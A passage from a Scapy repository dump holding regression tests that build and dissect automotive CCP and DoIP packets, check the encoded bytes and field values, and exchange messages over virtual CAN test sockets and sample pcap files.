CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x48\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 72\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 72\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n\n= Build CRO SET_S_STATUS\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x49)/SET_S_STATUS(session_status=\"RUN+CAL\")\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x49\nassert cro.cmd == 0x0c\nassert cro.session_status == 0x81\nassert cro.ccp_reserved == b\"\\xff\" * 5\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x0c\\x49\\x81\\xff\\xff\\xff\\xff\\xff'\n\n= Dissect DTO SET_S_STATUS\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x49\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 73\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 73\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n\n= Build CRO GET_S_STATUS\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x4a)/GET_S_STATUS()\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x4a\nassert cro.cmd == 0x0D\nassert cro.ccp_reserved == b\"\\xff\" * 6\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x0d\\x4a\\xff\\xff\\xff\\xff\\xff\\xff'\n\n= Dissect DTO GET_S_STATUS\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x4a\\x81\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 74\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x81\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 74\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.session_status == 0x81\nassert dto.information_qualifier == 0xff\nassert dto.information == b\"\\xff\" * 3\n\n= Build CRO BUILD_CHKSUM\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x50)/BUILD_CHKSUM(size=0x8000)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x50\nassert cro.cmd == 0x0e\nassert cro.size == 0x8000\nassert cro.ccp_reserved == b\"\\xff\" * 2\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x0e\\x50\\x00\\x00\\x80\\x00\\xff\\xff'\n\n= Dissect DTO BUILD_CHKSUM\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x50\\x02\\x12\\x34\\xff\\xff')\n\nassert dto.ctr == 80\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x02\\x12\\x34\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 80\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.checksum_size == 2\nassert dto.checksum_data == b'\\x12\\x34'\nassert dto.ccp_reserved == b'\\xff\\xff'\n\n= Dissect DTO BUILD_CHKSUM2\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x50\\x04\\x12\\x34\\x56\\x78')\n\nassert dto.ctr == 80\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x04\\x12\\x34\\x56\\x78'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 80\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.checksum_size == 4\nassert dto.checksum_data == b'\\x12\\x34\\x56\\x78'\nassert dto.ccp_reserved == b''\n\n= Build CRO CLEAR_MEMORY\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x51)/CLEAR_MEMORY(size=0x8000)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x51\nassert cro.cmd == 0x10\nassert cro.size == 0x8000\nassert cro.ccp_reserved == b\"\\xff\" * 2\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x10\\x51\\x00\\x00\\x80\\x00\\xff\\xff'\n\n= Dissect DTO CLEAR_MEMORY\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x51\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 81\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 81\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n\n= Build CRO PROGRAM\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x52)/PROGRAM(size=0x3, data=b\"\\x10\\x11\\x12\")\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x52\nassert cro.cmd == 0x18\nassert cro.size == 0x3\nassert cro.data == b\"\\x10\\x11\\x12\"\nassert cro.ccp_reserved == b\"\\xff\" * 5\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x18\\x52\\x03\\x10\\x11\\x12\\xff\\xff'\n\n= Dissect DTO PROGRAM\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x52\\x02\\x34\\x00\\x20\\x03')\n\nassert dto.ctr == 82\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x02\\x34\\x00\\x20\\x03'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 82\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.MTA0_extension == 2\nassert dto.MTA0_address == 0x34002003\n\n= Build CRO PROGRAM_6\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b\"\\x10\\x11\\x12\\x10\\x11\\x12\")\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x53\nassert cro.cmd == 0x22\nassert cro.data == b\"\\x10\\x11\\x12\\x10\\x11\\x12\"\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x22\\x53\\x10\\x11\\x12\\x10\\x11\\x12'\n\n= Dissect DTO PROGRAM_6\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x53\\x02\\x34\\x00\\x20\\x06')\n\nassert dto.ctr == 83\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x02\\x34\\x00\\x20\\x06'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 83\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.MTA0_extension == 2\nassert dto.MTA0_address == 0x34002006\n\n= Build CRO MOVE\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x54)/MOVE(size=0x8000)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x54\nassert cro.cmd == 0x19\nassert cro.size == 0x8000\nassert cro.ccp_reserved == b'\\xff\\xff'\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x19\\x54\\x00\\x00\\x80\\x00\\xff\\xff'\n\n= Dissect DTO MOVE\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x54\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 84\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 84\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\n\n= Build CRO DIAG_SERVICE\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x55)/DIAG_SERVICE(diag_service=0x8000)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x55\nassert cro.cmd == 0x20\nassert cro.diag_service == 0x8000\nassert cro.ccp_reserved == b'\\xff\\xff\\xff\\xff'\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x20\\x55\\x80\\x00\\xff\\xff\\xff\\xff'\n\n= Dissect DTO DIAG_SERVICE\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x55\\x20\\x00\\xff\\xff\\xff')\n\nassert dto.ctr == 85\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x20\\x00\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 85\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.data_length == 0x20\nassert dto.data_type == 0x00\nassert dto.ccp_reserved == b\"\\xff\\xff\\xff\"\n\n= Build CRO ACTION_SERVICE\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x56)/ACTION_SERVICE(action_service=0x8000)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x56\nassert cro.cmd == 0x21\nassert cro.action_service == 0x8000\nassert cro.ccp_reserved == b'\\xff\\xff\\xff\\xff'\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x21\\x56\\x80\\x00\\xff\\xff\\xff\\xff'\n\n= Dissect DTO ACTION_SERVICE\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x56\\x20\\x00\\xff\\xff\\xff')\n\nassert dto.ctr == 86\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x20\\x00\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 86\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.data_length == 0x20\nassert dto.data_type == 0x00\nassert dto.ccp_reserved == b\"\\xff\\xff\\xff\"\n\n= Build CRO TEST\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x60)/TEST(station_address=0x80)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x60\nassert cro.cmd == 0x05\nassert cro.station_address == 0x80\nassert cro.ccp_reserved == b\"\\xff\" * 4\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x05\\x60\\x80\\x00\\xff\\xff\\xff\\xff'\n\n= Dissect DTO TEST\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x60\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 96\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 96\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n\n= Build CRO START_STOP_ALL\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x61)/START_STOP_ALL(type=\"start\")\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x61\nassert cro.cmd == 0x08\nassert cro.type == 0x01\nassert cro.ccp_reserved == b\"\\xff\" * 5\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x08\\x61\\x01\\xff\\xff\\xff\\xff\\xff'\n\n= Dissect DTO START_STOP_ALL\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x61\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 97\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 97\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n\n= Build CRO GET_ACTIVE_CAL_PAGE\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x62)/GET_ACTIVE_CAL_PAGE()\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x62\nassert cro.cmd == 0x09\nassert cro.ccp_reserved == b\"\\xff\" * 6\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x09\\x62\\xff\\xff\\xff\\xff\\xff\\xff'\n\n= Dissect DTO GET_ACTIVE_CAL_PAGE\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x62\\x01\\x11\\x44\\x77\\x22')\n\nassert dto.ctr == 98\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x01\\x11\\x44\\x77\\x22'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 98\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.address_extension == 1\nassert dto.address == 0x11447722\n\n= Build CRO GET_CCP_VERSION\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x63)/GET_CCP_VERSION(main_protocol_version=2, release_version=1)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x63\nassert cro.cmd == 0x1b\nassert cro.main_protocol_version == 2\nassert cro.release_version == 1\nassert cro.ccp_reserved == b\"\\xff\" * 4\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x1b\\x63\\x02\\x01\\xff\\xff\\xff\\xff'\n\nassert dto.hashret() != cro.hashret()\nassert not dto.answers(cro)\n\n= Dissect DTO GET_CCP_VERSION\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x63\\x02\\x01\\xff\\xff\\xff')\n\nassert dto.ctr == 99\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x02\\x01\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 99\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.main_protocol_version == 2\nassert dto.release_version == 1\nassert dto.ccp_reserved == b\"\\xff\" * 3\n\nassert dto.hashret() == cro.hashret()\n\n+ Tests on a virtual CAN-Bus\n\n= CAN Socket sr1 with dto.answers(cro) == True\n\nsock1 = TestSocket(CCP)\nsock2 = TestSocket(CAN)\nsock1.pair(sock2)\n\ndef answer(pkt):\n    cro = CRO(pkt.data)\n    assert cro.cmd == 0x22\n    assert cro.data == b\"\\x10\\x11\\x12\\x10\\x11\\x12\"\n    sock2.send(CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x53\\x02\\x34\\x00\\x20\\x06'))\n\nsniffer = AsyncSniffer(opened_socket=sock2, count=1, timeout=5, prn=answer)\nsniffer.start()\ndto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b\"\\x10\\x11\\x12\\x10\\x11\\x12\"), timeout=1, verbose=False)\nsniffer.join(timeout=5)\nsock1.close()\nsock2.close()\n\nassert dto.ctr == 83\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.MTA0_extension == 2\nassert dto.MTA0_address == 0x34002006\n\n= CAN Socket sr1 with dto.answers(cro) == False\n\nsock1 = TestSocket(CCP)\nsock2 = TestSocket(CAN)\nsock1.pair(sock2)\n\ndef answer(pkt):\n    cro = CRO(pkt.data)\n    assert cro.cmd == 0x22\n    assert cro.data == b\"\\x10\\x11\\x12\\x10\\x11\\x12\"\n    sock2.send(CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x55\\x02\\x34\\x00\\x20\\x06'))\n\nsniffer = AsyncSniffer(opened_socket=sock2, count=1, timeout=5, prn=answer)\nsniffer.start()\ndto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x54)/PROGRAM_6(data=b\"\\x10\\x11\\x12\\x10\\x11\\x12\"), timeout=0.1, verbose=False)\nsniffer.join(timeout=5)\nsock1.close()\nsock2.close()\nassert dto is None\n\n\n= CAN Socket sr1 with error code\n\nsock1 = TestSocket(CCP)\nsock2 = TestSocket(CAN)\nsock1.pair(sock2)\n\ndef answer(pkt):\n    cro = CRO(pkt.data)\n    assert cro.cmd == 0x22\n    assert cro.data == b\"\\x10\\x11\\x12\\x10\\x11\\x12\"\n    sock2.send(CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x01\\x55\\xff\\xff\\xff\\xff\\xff'))\n\nsniffer = AsyncSniffer(opened_socket=sock2, count=1, timeout=5, prn=answer)\nsniffer.start()\ndto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x55)/PROGRAM_6(data=b\"\\x10\\x11\\x12\\x10\\x11\\x12\"), timeout=1, verbose=False)\nsniffer.join(timeout=5)\nsock1.close()\nsock2.close()\n\nassert dto.ctr == 85\nassert dto.packet_id == 0xff\nassert dto.return_code == 1\nassert hasattr(dto, \"load\") == False\nassert dto.MTA0_extension == 0xff\nassert dto.MTA0_address == 0xffffffff\n\n+ Cleanup\n\n= Delete TestSockets\n\ncleanup_testsockets()\n\n"
  },
  {
    "path": "test/contrib/automotive/doip.uts",
    "content": "% Regression tests for the DoIP layer\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ Doip contrib tests\n\n= Load Contrib Layer\n\nfrom test.testsocket import TestSocket, cleanup_testsockets, UnstableSocket\n\nload_contrib(\"automotive.doip\", globals_dict=globals())\nload_contrib(\"automotive.uds\", globals_dict=globals())\n\n= Defaults test\n\np = DoIP(payload_type=1)\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == None\nassert p.payload_type == 1\n\n= Build test 0\n\np = DoIP(bytes(DoIP(payload_type=0)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 1\nassert p.payload_type == 0\nassert p.nack == 0\n\n= Build test 1\n\np = DoIP(bytes(DoIP(payload_type=1)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 0\nassert p.payload_type == 1\n\n= Build test 2\n\np = DoIP(bytes(DoIP(payload_type=2)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 6\nassert p.payload_type == 2\nassert bytes(p.eid) == b\"\\x00\" * 6\n\n= Build test 3\n\np = DoIP(bytes(DoIP(payload_type=3)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 17\nassert p.payload_type == 3\nassert bytes(p.vin) == b\"\\x00\" * 17\n\n= Build test 4\n\np = DoIP(bytes(DoIP(payload_type=4)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 33\nassert p.payload_type == 4\nassert bytes(p.vin) == b\"\\x00\" * 17\nassert p.logical_address == 0\nassert bytes(p.eid) == b\"\\x00\" * 6\nassert bytes(p.gid) == b\"\\x00\" * 6\nassert p.further_action == 0\nassert p.vin_gid_status == 0\n\n= Build test 5\n\np = DoIP(bytes(DoIP(payload_type=5)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 7\nassert p.payload_type == 5\nassert p.source_address == 0\nassert p.activation_type == 0\nassert p.reserved_iso == 0\nassert p.reserved_oem == b\"\"\n\n= Build test 5.1\n\np = DoIP(bytes(DoIP(payload_type=5, reserved_oem=b\"1234\")))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 11\nassert p.payload_type == 5\nassert p.source_address == 0\nassert p.activation_type == 0\nassert p.reserved_iso == 0\np.show()\nprint(p.reserved_oem)\nassert p.reserved_oem == b\"1234\"\n\n= Build test 5.2\n\np = DoIP(bytes(DoIP(payload_type=5, reserved_oem=b\"12\")))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 9\nassert p.payload_type == 5\nassert p.source_address == 0\nassert p.activation_type == 0\nassert p.reserved_iso == 0\nassert p.reserved_oem == b\"12\"\n\n= Build test 6\n\np = DoIP(bytes(DoIP(payload_type=6)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 9\nassert p.payload_type == 6\nassert p.logical_address_tester == 0\nassert p.logical_address_doip_entity == 0\nassert p.reserved_iso == 0\nassert p.reserved_oem == b\"\"\n\n= Build test 7\n\np = DoIP(bytes(DoIP(payload_type=7)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 0\nassert p.payload_type == 7\n\n= Build test 8\n\np = DoIP(bytes(DoIP(payload_type=8)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 2\nassert p.payload_type == 8\nassert p.source_address == 0\n\n= Build test 4001\n\np = DoIP(bytes(DoIP(payload_type=0x4001)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 0\nassert p.payload_type == 0x4001\n\n\n= Build test 4002\n\np = DoIP(bytes(DoIP(payload_type=0x4002)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 7\nassert p.payload_type == 0x4002\nassert p.node_type == 0\nassert p.max_open_sockets == 1\nassert p.cur_open_sockets == 0\nassert p.max_data_size == 0\n\n\n= Build test 4003\n\np = DoIP(bytes(DoIP(payload_type=0x4003)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 0\nassert p.payload_type == 0x4003\n\n\n= Build test 4004\n\np = DoIP(bytes(DoIP(payload_type=0x4004)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 1\nassert p.payload_type == 0x4004\nassert p.diagnostic_power_mode == 0\n\n= Build test 8001\n\np = DoIP(bytes(DoIP(payload_type=0x8001)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 4\nassert p.payload_type == 0x8001\nassert p.source_address == 0\nassert p.target_address == 0\n\n= Build test 8002\n\np = DoIP(bytes(DoIP(payload_type=0x8002)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 5\nassert p.payload_type == 0x8002\nassert p.source_address == 0\nassert p.target_address == 0\nassert p.ack_code == 0\nassert p.previous_msg == b''\n\np = DoIP(bytes(DoIP(payload_type=0x8002, previous_msg=b'\\x22\\xfd\\x32')))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 8\nassert p.payload_type == 0x8002\nassert p.source_address == 0\nassert p.target_address == 0\nassert p.ack_code == 0\nassert p.previous_msg == b'\\x22\\xfd\\x32'\n\np = DoIP(bytes(DoIP(payload_type=0x8002, previous_msg=b'\\x19\\x02\\x09\\x9C\\x00')))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 10\nassert p.payload_type == 0x8002\nassert p.source_address == 0\nassert p.target_address == 0\nassert p.ack_code == 0\nassert p.previous_msg == b'\\x19\\x02\\t\\x9c\\x00'\n\np = DoIP(b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x07\\x00\\x08\\x00\\x0e\\x00\\x10\\x01')\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xFD\nassert p.payload_length == 7\nassert p.payload_type == 0x8002\nassert p.source_address == 0x8\nassert p.target_address == 0xE\nassert p.ack_code == 0\nassert p.previous_msg == b'\\x10\\x01'\n\n= Build test 8003\n\np = DoIP(bytes(DoIP(payload_type=0x8003)))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 5\nassert p.payload_type == 0x8003\nassert p.source_address == 0\nassert p.target_address == 0\nassert p.nack_code == 0\n\n\np = DoIP(bytes(DoIP(payload_type=0x8003, previous_msg=b'\\x2E\\xfd\\x32\\x01\\x02')))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 10\nassert p.payload_type == 0x8003\nassert p.source_address == 0\nassert p.target_address == 0\nassert p.nack_code == 0\nassert p.previous_msg == b'.\\xfd2\\x01\\x02'\n\np = DoIP(bytes(DoIP(payload_type=0x8003, previous_msg=b'\\x19\\x02\\x09\\x9A\\x00')))\n\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 10\nassert p.payload_type == 0x8003\nassert p.source_address == 0\nassert p.target_address == 0\nassert p.nack_code == 0\nassert p.previous_msg == b'\\x19\\x02\\t\\x9a\\x00'\n\np = DoIP(b'\\x02\\xfd\\x80\\x03\\x00\\x00\\x00\\x07\\x00\\x0A\\x00\\x0C\\x00\\x10\\x03')\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xFD\nassert p.payload_length == 7\nassert p.payload_type == 0x8003\nassert p.source_address == 0xA\nassert p.target_address == 0xC\nassert p.nack_code == 0\nassert p.previous_msg == b'\\x10\\x03'\n\n+ pcap based tests\n\n= read diag_ack pcap file\npkt = rdpcap(scapy_path(\"test/pcaps/doip_ack.pcap\")).res[0]\n\nassert len(pkt) == 70\n\n= dissect test of diag ACK with previous_msg field filled\nassert pkt.protocol_version == 0x02\nassert pkt.inverse_version == 0xFD\nassert pkt.payload_length == 8\nassert pkt.source_address == 0x4B\nassert pkt.target_address == 0xE00\nassert pkt.ack_code == 0\nassert pkt.previous_msg == b'\\x22\\xFD\\x31'\n\n\n= read main pcap file\n\npkts = rdpcap(scapy_path(\"test/pcaps/doip.pcap.gz\"))\nips = [p for p in pkts if p.proto == 6]\n\nassert len(ips) > 1\n\n= dissect test of routing activation pkts req\n\nreq = ips[0]\np = req\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 11\nassert p.payload_type == 0x5\nassert p.source_address == 0xe80\nassert p.activation_type == 0\nassert p.reserved_iso == 0\nassert p.reserved_oem == b\"\\x00\\x00\\x00\\x00\"\n\n= dissect test of routing activation pkts resp\n\nresp = ips[1]\np = resp\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 9\nassert p.payload_type == 0x6\nassert p.logical_address_tester == 0xe80\nassert p.logical_address_doip_entity == 0x4010\nassert p.routing_activation_response == 16\nassert p.reserved_iso == 0\n\n= answers test of routing activation pkts\n\nassert resp.answers(req)\nassert resp.hashret() == req.hashret()\n\n= dissect diagnostic message\n\nreq = ips[-4]\nresp = ips[-1]\n\np = req\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 6\nassert p.payload_type == 0x8001\nassert p.source_address == 0xe80\nassert p.target_address == 0x4010\nassert bytes(p)[-2:] == bytes(UDS()/UDS_DSC(b\"\\x02\"))\nassert p.service == 0x10\nassert p.diagnosticSessionType == 2\n\np = resp\nassert p.protocol_version == 0x02\nassert p.inverse_version == 0xfd\nassert p.payload_length == 10\nassert p.payload_type == 0x8001\nassert p.target_address == 0xe80\nassert p.source_address == 0x4010\nassert bytes(p)[-6:] == bytes(UDS()/UDS_DSCPR(b\"\\x02\\x002\\x01\\xf4\"))\nassert p.service == 0x50\nassert p.diagnosticSessionType == 2\n\nassert req.hashret() == resp.hashret()\n# exclude TCP layer from answers check\nassert resp[3].answers(req[3])\nassert not req[3].answers(resp[3])\n\n= TCPSession Test\n\ntmp_file = get_temp_file()\n\nwrpcap(tmp_file, [\n    IP(src=\"10.10.10.10\", dst=\"10.10.10.11\") / TCP(sport=61000, seq=1) / DoIP(payload_type=0x8001, payload_length=6) / b\"\\x3E\",\n    IP(src=\"10.10.10.10\", dst=\"10.10.10.11\") / TCP(sport=61000, dport=13400, seq=14) / Raw(load=b\"\\xff\")\n])\n\npkts = sniff(offline=tmp_file, session=TCPSession)\nassert pkts[0].haslayer(UDS_TP)\nassert pkts[0].service == 0x3E\n\n= TCPSession Test multiple DoIP messages\n\nfilename = 